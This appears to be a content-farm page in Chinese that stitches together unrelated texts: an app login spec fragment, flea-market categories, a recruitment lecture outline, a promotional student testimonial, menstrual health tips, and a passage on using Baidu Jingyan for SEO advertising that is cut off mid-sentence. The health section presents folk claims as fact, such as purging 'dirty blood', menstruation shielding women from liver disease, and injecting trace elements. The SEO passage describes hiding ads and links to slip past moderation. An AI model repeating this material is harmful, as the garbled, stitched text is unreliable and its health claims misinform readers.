2、登录界面包含：“注册”按钮、输入（手机号边框）、输入（密码边框）、“登录”按钮功能、“忘记密码”功能按钮。QQ登录、微信登录、微博登录、人人网登录四种第三方登录。
3、已注册账号密码的情况下：在（手机号边框）、（密码边框）输入手机号和密码，即可登录APP，系统默认跳转到“首页”功能界面。
4、在未注册账号密码的情况下：点击“注册”按钮后，将跳转到（注册）界面。（注册）需要输入手机号，获取短信验证码后，填写密码完成注册。
5、在已注册账号密码的 情况下：如果密码忘记，则点击“忘记密码”功能按钮，将跳转到（找回密码）界面。
6、（找回密码）界面跟（注册）界面一样，输入手机号，获取短信验证码后，填写密码完成找回密码
一级分类 【跳蚤全部分类】
2级分类
1、电脑/笔记本
笔记本 台式机 平板电脑/ipad 硬件 外设产品 无线网卡 显示器/液晶 移动硬盘
2、数码产品
数码相机 摄像机 游戏机/PSP MP3/MP4 口袋数码
3、手机
诺基亚 iPhone 三星 索尼爱立信 HTC/多普达 摩托罗拉 黑莓 LG 联想 手机配件
说说最新发布篇六
《说说招聘那些事儿》
说说最新发布篇七
《说说招聘那些事儿》
说说招聘那点事
儿
现任：
HR360成长学院运营总裁
上海对外贸易学院高级讲师客座教授
齐
小
珊•擅长课程：注册人才招聘管理师注册培训管理师高效招聘面试选才技巧职业面试官训练魅力演说训练企业内训师培训（PTT)公众演说与主持技巧职业生涯规划高效企业培训体系构建高效沟通
非人力资源经理的人力资源管理
高绩效人才之选育用留职场商务礼仪
招聘渠道的选择与运用录用风险及
防范
思考一下：
1 年度招聘计划做了吗？2 现在招聘的职位有哪些？3 使用的招聘渠道有哪些？4 使用的选才工具有哪些？5 招聘成效
如何？
目录
一
二
三
四招聘环境简析招聘渠道选择人才测评技术录用风险
防范
把不合适的人培养到合适，成本太高，不断寻找一个合适的人，虽有成本，但相对低廉，挑选比培养更重要！
说说最新发布篇八
《说说在同桌100学习网学习的初体验》
说说在同桌100学习网学习的初体验
今年我考上实验中学了，在新的班级里成绩优秀的同学很多，大家都是原来学校的尖子生，因此学习竞争很激烈，课变难了，我有了压力。第一次期中考，我的成绩很不理想，是班里20多名的人了，虽然相邻名次的同学之间分数就差两三分，有的差一分，但是我这个名次，属于班里的中等生了，这让我有了很大的心理落差。
后来通过爸爸朋友的介绍，期中考后不久，我在同桌100学习网注册了成为它的会员，并办了学习卡，开始了远程教育的学习。在平时上学期间我以学校学习为主，放学回家复习以听、看同桌100学习网教学视频为辅，在节假日或学校有些知识没有听明白的时候，有选择性地在网上补习一下功课，因为这些视频课都是和课本一致的，哪节课有不明白的地方通过在搜索空白栏里输入课程名称，马上就能找到，省了不少时间和精力。而且网上老师讲课的方式的确和学校里的老师有大不同，他们的讲解风格更为多样化，让我耳目一新，数学老师分析题型很透彻，条理清晰，很容易让人理解。
通过近两个月的网上学习，感觉对我的学习有许多的帮助，尤其是在数学方面，视频课堂中包括了现阶段的知识点、重点习题、预习和复习安排等内容，使我对数学这一学科能够轻松掌握其难点、重点、疑点、考点、要点、热点，让我的学习效率提高。视频课堂上老师通过多种形式、生动形象的演示与操作，让我体会到学习数学的乐趣，有了一个良好的学习方法，养成了好的学习习惯。 在同桌100学习网学习期间，我感受有些学习栏目对挖掘学生的需求方面做了非常深入的工作，针对学生的需求，提供了很个性化、人性化的教学服务，比如师生问答这个平台，就很好地发挥互动功能，我们在学习过程中遇到什么学习问题，都可以通过这个平台进行发布，在线的老师会及时给出正确的解答。在试卷下载栏目里，可以下载到最新的名校试卷和测试题，是我们检测学习效果的最佳手段。如：最近我做了黄冈中学的一份期末数学试卷，在规定的时间里我做完了题，让学校老师批阅了，打了98分，比上次成绩高出了整整10分。
由于我在同桌100学习网学习时间较短，感受及认识还比较少，平时学校学习任务又比较重，在网上学习的时间目前很有限，同桌100学习网平台中许多内容我还没有利用，打算开始做一份计划表，使自己更加合理有效的利用网上的学习资源，取得更好的学习效果。
说说最新发布篇九
《健康说说》
女生生理期具体注意事项 要注意不能太劳累，不可吃生冷食物，心情要保持舒畅，更要注意卫生。
【生理期期间尽量不要洗头】：洗完头一定要立即吹乾。生理期期间，可中午洗头。
【生理期期间要注意保暖】：也就是少吹冷气啰，冷气开著，在冷气房里还是要多穿件衣服。
【忌喝冷饮】：这已经是很基本常识了，千万不要违背，不要拿自己的美丽开玩笑，喝冰水会让污血无法顺利排出，留在身体里对身体绝对有害。
试试看以下饮料，可以让生理期更舒适，桂圆红枣茶、养生茶、贞味丹蔘、红糖姜水、黄耆枸杞茶、玫瑰花茶（尤其经痛，可以喝玫瑰花茶）。
【吃点甜食】：生理期间吃巧克力、蛋糕，因为生理期吃一点甜食可以帮助污血代谢。
【拒绝疲劳】：充分休息很重要，过于劳累会导致经期延长或是失血过多。
【不要太情绪化】：据说女孩子生理期时很自然地情绪就会不好，但是也不要纵容自己乱发脾气，因为发脾气会对扰乱经期，也很伤肝脏喔。
【忌盆浴】：因为生理期子宫口比较张开，同样地也较为容易受到污染，所以洗澡最好采淋浴。
【生理期宜食】：生理期刚来几天可以多吃点麻油猪肝，帮助废血排出。后几天可以吃麻油腰花。此外麻油炒蛋加九层塔也是不错的生理期食品。红豆汤、桂圆汤、八宝粥都是好点心喔，还有酒酿煮蛋也很好。生理期后期，可以考虑喝一点生化汤（经期喝的，不是坐月子喝的生化汤，问中药房就知道），可以让身体脏血彻底排乾净。
身体里脏血若不排出乾净，长期累积很容易造成子宫内膜炎、肝病、红斑性狼疮等疾病。为什么女生比男生不容易得肝病呢？据说就是因为每月的经血将身体中的毒素泄乾净了，所以比较不容易得肝病。
【生理期后的调养】：吃四物汤。在经期来时喝四物汤是错误的，要等到脏血都排除后再喝四物汤补血才有效果，否则就白补了。四物汤煮时可以放点排骨或鸡肉，最好加点米酒。
【脸部清洁工作要做好】：生理期间因为毛孔比较张开，很容易长痘痘，脸部清洁工作要做好，生理期间洗头因为造成血液循环不好，也容易长痘与粉刺。
除了传统意义上的生理期不能做的10件事之外，还要注意最新补充的8点注意事项：
【捶腰】
腰酸腿胀时，我们通过捶打酸胀的肌肉来缓解不适，同样，不少女性在经期也会习惯性地捶打腰部来缓解腰部酸胀。但这么做，却犯了错。妇科专家指出，经期腰部酸胀是盆腔充血引起的，此时捶打腰部会导致盆腔更加充血，反而加剧酸胀感。另外，经期捶腰还不利于子宫内膜剥落后创面的修复愈合，导致流血增多，经期延长。
【体检】
经期除了不适宜做妇科检查和尿检，同样不适宜做血检和心电图等检查项目。 因为此时受荷尔蒙分泌的影响，难以得到真实数据。
【拔牙】
恐怕很少有牙医在拔牙前，会询问你是否在经期，但你自己一定要知道，不能在经期拔牙！否则，不仅拔牙时出血量增多，拔牙后嘴里也会长时间留有血腥味，影响食欲，导致经期营养不良。这是因为月经期间，子宫内膜释放出较多的组织激活物质，将血液中的纤维蛋白溶解酶原激活为具有抗凝血作用的纤维蛋白溶解酶，同时体内的血小板数目也减少，因此身体凝血能力降低，止血时间延长。
【用沐浴液清洁阴部】
经期阴部容易产生异味，尤其在夏季，但在洗澡时顺便用沐浴液清洁阴部，或用热水反复清洗阴部是不够健康的，反而容易引发阴部感染，导致瘙痒病症。因为平日女性阴道内是略酸性环境，能抑制细菌生长，但行经期间阴道会偏碱性，对细菌的抵抗力降低，易受感染，如果不使用专业的阴道清洁液或用热水反复清洗更会导致碱性增加。因此，清洗阴部需要选择专业的阴部清洗液，尤其在经期。
【饮酒】
同样是受体内荷尔蒙分泌影响，经期女性体内的解酒酶减少，因此饮酒易醉。更严重的是，为了制造出分解酶来帮助分解酒精，肝脏负担明显加重，因此此期间饮酒会对肝脏造成比平日严重的伤害，引发肝脏机能障碍的可能性增大。
【k歌】
经期女性，声带的毛细血管也充血，管壁变得较为脆弱。此时长时间或高声K歌，可能由于声带紧张并高速振动而导致声带毛细血管破裂，声音沙哑，甚至可能对声带造成永久性伤害，如嗓音变低或变粗等。专业医师特别提醒，女性从月经来潮前两天开始就应该注意不要长时间或高声唱歌。
【吃油炸食品】
油炸食品也是经期女性的一大禁忌。因为受体内分泌的黄体酮影响，经期女性皮脂分泌增多，皮肤油腻，同时毛细血管扩张，皮肤变得敏感。此时进食油炸食品，会增加肌肤负担，容易出现粉刺、痤疮、毛囊炎，还有黑眼圈。另外，由于经期脂肪和水的代谢减慢，此时吃油炸食品，脂肪还容易在体内囤积。
【生理期肌肤保养宝典】
-生理期肌肤的特点-
在这一时期，体内荷尔蒙分泌量急速下降，经期的疼痛，使体温也有所降低，加上生理出血，造成体能消耗、营养流失，血液中的雌激素和孕激素逐渐降低到最低水平。
-时间表-
从月经来潮的第一天到月经的最后一天，大约为一周左右。
-肌肤状况-
生理期肌肤最大的特点，是由于体内雌、孕两种激素分泌不足。此时的肌肤，基本上失去了天然的屏障，对外界的防护能力很差。
生理期体温降低，新陈代谢能力减弱，许多体内垃圾无法及时排出，不仅使肌肤肤色暗沉、晦涩、缺少光泽，脸颊两侧肌肤容易干燥，而T字部位，却又容易长痘痘。
血液的大量流失，容易造成身体的生理疲惫和虚弱，黑眼圈往往非常明显，如果是干性肌肤，眼角还会出现细纹。
-生理期护肤经-
生理期的肌肤护理，要从减少刺激和降低营养两个方面着手，为了更好地保护肌肤免受伤害，尽量少去或不去那些粉尘污染严重的地方。
【以油洗油】
为了预防干燥，减少碱性洗剂对肌肤的刺激，最好选用油性较足的洗面奶。洗脸时，不要用力去搓干燥的两颊，将清洁的重点放在出油较多的T字部位上，以油洗油，再用清水冲洗，以彻底清除肌肤表层的角质细胞和毛囊深处的污垢。
【眼周抗皱】
对于眼圈周围的黑晕，可在涂抹眼霜以后，轻轻划圈按摩眼部肌肤，再用指腹扣住眼眶，点压眼眶周围，尤其是黑晕严重的部位。将去皱精华液，涂抹在眼角细纹处，反复按摩，促进吸收。
【补水保湿】
将日常用的普通日霜，改为具有补水保湿作用的日霜。早晚洁面后用保湿水喷洒肌肤，在生理期内，可连续两天，每晚临睡前一小时用保湿面膜敷脸，以保持肌肤水嫩滋润，预防干燥。
【暖睡8小时】
生理期内，身体很容易疲惫，而且由于生理失血，体温相对较低，容易感觉体寒。平时睡6-7小时也就够了，但这一时期最好每天保证睡足8小时，且要注意防寒保暖，让身体始终处于温暖舒适的状态下，有利于体内正常的血液循环，对于彻底消除肌肤倦容，十分有用。
【香氛护肤】
生理期的体味，下体的不适等会直接影响心情，而情绪的波动又会带来体内荷尔蒙的变化，进而影响到肌肤状态。适当使用香氛，不但能遮盖体味，更能保持神清气爽，令肌肤状态也光彩照人。
【生理期化妆经】
生理期彩妆的重点，在于掩饰苍白、蜡黄的脸色，使肌肤看起来红润、有生气。趋光度好的粉底，能使肌肤显得明亮，有光泽，非常适合生理期使用。值得注意的是，为了防止出现过敏现象，在上粉底以前，最好先涂上一层质地温和的乳液或隔离霜。
暖色调的腮红，是肌肤红润、气色好的必备武器。选择粉红色、粉橘色、玫瑰红、杏红、桃红等明快鲜艳的色彩，有技巧地打在两颊上，额头、脖子等部位也稍稍打一些，使肤色整体看来粉嫩润泽。
【生理期饮食经】
生理期应避免吃生冷、寒凉以及咸辣的食物，如冰激凌、梨、辣椒、肉桂等，多喝一些温热并且促进血液循环的饮料，如红糖水、姜茶等。摄取具有补血功能的食物，如红枣、莲
子、川贝等，可将它们熬成滋补粥，睡前饮用，不但能促进血液循环、减轻经期不适，还能补血养气、使肤色红润。另外，体内铁、钙、锌等微量元素的缺乏，也是造成生理期肤色暗淡无光的原因，可以口服或注射适量微量元素补充身体所需。
说说最新发布篇十
《谈谈百度经验推广》
谈谈百度经验推广
本问由西安网站设计公司大秦数据原创 今天主要想给大家分享的是关于百度的一超给力推广产品：“百度经验”。之前我同事有写过这样的文章，但是写的不够清楚。我现在重新给大家分享一下我做百度经验的一些技巧经验！希望能通过此分享给大家带来一些浏量。
一、百度经验简介
百度经验是2010年10月12日百度继百度知道、百度百科和百度文库后推出的又一款知识系新产品。它的主要载体是通过一篇篇能指导人们完成某些目标的文章，和生活联系紧密，能帮助人们解决实际问题的工具。
二、百度经验和百度知道的区别
也许有很多朋友都已经多多少少的接触过百度经验了，可能会认为它就是百度知道的升级版本而已。其实也不一定全对。
百度经验与百度知道的区别是：百度知道可以帮助用户解决各种类型的问题，而百度经验集中解决用户“怎样做”“怎么办”这一类的问题，并专门针对这类问题所具有的普遍性、过程性的特点，提供更便于用户阅读、学习和尝试的解答形式。一篇经验文章中，通常包括概述、工具/原料、步骤/方法、注意事项、参考资料等几个部分，一般都含有丰富清晰的图片，用户可以按照文字和图片的指导，一步步操作直至完成。但百度经验不能解决过于个性化、定制化、结果化的问题。
三、为什么要做百度经验推广
上面罗嗦了那么多，现在来说说我们为什么要做百度经验推广： • 百度经验是百度主推的产品，百度有多强，搜索流量有多高这点不用解释也知道的！
• 百度经验的搜索权重比较高 。大家都知道百度比较黑！凡是百度自己的产品都排的很靠前，有的甚至搜索一个关键词就有五个左右是百度自己的产品。具体有：百度贴吧、百度知道、百度文库、百度百科。现在又多了一个百度经验！现在百度经验才被推出不久，还没有百度知道那么牛。但是，不久之后，百度经验一定会和百度知道一样强大的！因为百度经验的质量要比百度知道高的多，用户体验度要好的多！
• 百度经验解决问题更到位，质量更好，同时用户体验更好！因为百度经验有完整的操作步骤，而且图片并茂，有的还可以插入视频等。
• 百度经验里更容易放链接，而且不容易被删除，通过率很高！一般只要是经验技巧，图文并茂，排版合理都能通过的。而且不管你在最后放的链接地址是否与经验分享的地址一样，只要不违法就可以过。通过了之后，不会像百度知道那样，只要有地址就会被很快删除的！至少说我做成功了几十个都没有一个被删除过。
• 百度知道里面放图片可以做水印广告 。由于有些经验需要图片，所以我们就可以在上面做上我们的水印。只要图片对应，水
印做的不过分都是能过的。
• 可以用自己的产品来做经验分享。我们在分享某些技巧时，完全可以用自己的产品来做教程的。这样即满足了经验规定要求，又推广了一下自己的产品。一举两得，何乐而不为呢？而且这样更容易便用户对你产生一种信任感。
• 百度经验审核通过速度很快。做过百度文库的人都知道，百度文库审核速度超慢，有时一个星期都审核不下来，实在是让人难等。不过百度经验就不一样了，提交上去，运气好可秒过！运气不好也能在24小时这内审核的！一般都是半小时这内就审核的！所以一天做过几十个都不难。
• 百度经验现在还是处于测试期 ，审核还不严格，而且它也需要大量的经验信息来填个数。据我的观察发现，都是一些做SEO的聪明站长在做这方面。所以建议大家赶紧去把自己的那个领域给占个位，别让人捷足先登了。到时候可就晚啦！
四、进入百度经验的方法
虽然百度经验很简单，但对于很多新手来说还是有不会的。下面说说进入百度经验的三种方法：
• 直接输入百度经验域名：
• 百度搜索关键词：“百度经验”，第一个点进去即可。
• 从百度首页面的“更多”，然后找到搜索社区栏目下的“经验”点进去即可。
4、进入百度首页点然后点“知道”，进入“百度知道”首页后，
点导航栏上的“经验”即可进入。
五、百度经验的操作方法详解
1.百度经验标题设置方法
进入百度经验首页后，点右边的“我要分享经验”按钮即可进入。然后会出现一个框，输入你想要分享的经验标题。有字数限制的！
关于标题的写法，以下是几个参考题目的形式 ：
（1）“怎样”+时间或地点（+对象）+ 动作。
举例：“怎样在冬天给宝宝保暖” ，“怎样在家中自制烤鸭”
（2）“怎样”+修饰+动作。
举例：“怎样有效地驱除小强”，“怎样快乐地生活”
（3）“怎样”+（给、与、对、同等）对象+动作。
举例：“怎样给宝宝进行食疗补钙” “怎样给老人按摩”
（4）对象（+时间或地点）+动作+“怎么办”。
举例：“孕妈妈在夏日感冒了怎么办” “衣服沾染了油渍怎么办”
（5）主语+“怎样”+修饰+动作。
举例：“宝宝在夏日怎样有效地驱蚊”
注：以上写法来源于网络。
我写标题的方法：其实关于标题的写法我们很简单的你只要把握住核心关键词就可以了。而且系统有提示的!
举例：你想让人在搜索长尾关键词“如何开网店”时(注：百度
经验的搜索主要偏向于长尾关键词方面)，搜索到你的百度经验。你只要在标题里放入这个关键词就可以了。
以此类推应用到各种关键词都是可以的。取标题是非常简单的！自己可以先去看看人家的标题取法， 只要标题中有你的目标关键词，同时标题又相对的吸引人看就可以了，这里就不再深究了。 注意：我们在分享百度经验时，一定要去先搜索一下你想分享的经验关键词，看看人家的经验，以免重复而无法通过审核哦。
2.百度经验的版面构成
如下图所示，版面主要由10个部分组成，挺人性化的。比百科编辑好多了，而且每一栏对应都有提示以及说明的。操作起来也是非常的方便的，很傻瓜化。如下图：
3.百度经验的发布方法
对比以上要求，下面给大家详细介绍一下百度经验的发布方法，以“腾讯微博发布技巧”为例讲解：
• 标题的取法要加关键词还要吸引人：
• 概述内容简洁说明一下，同时要在里面植入我们的广告信息，有图的还可以插入一张与你内容相关的图片，打上水印等方法宣传一下。注意：百度经验里的图片只能本地上传哦。
• 在工具/原料这一栏，填上我们要用到的工具。此条经验我们主要用到了微博，那就写上腾讯微博了。同时再写上自己的微博名，做下广告。而且这里也可以插入图片的哦。如图：
注意：如果你分享的经验没有工具原料，你可以将此栏选中后
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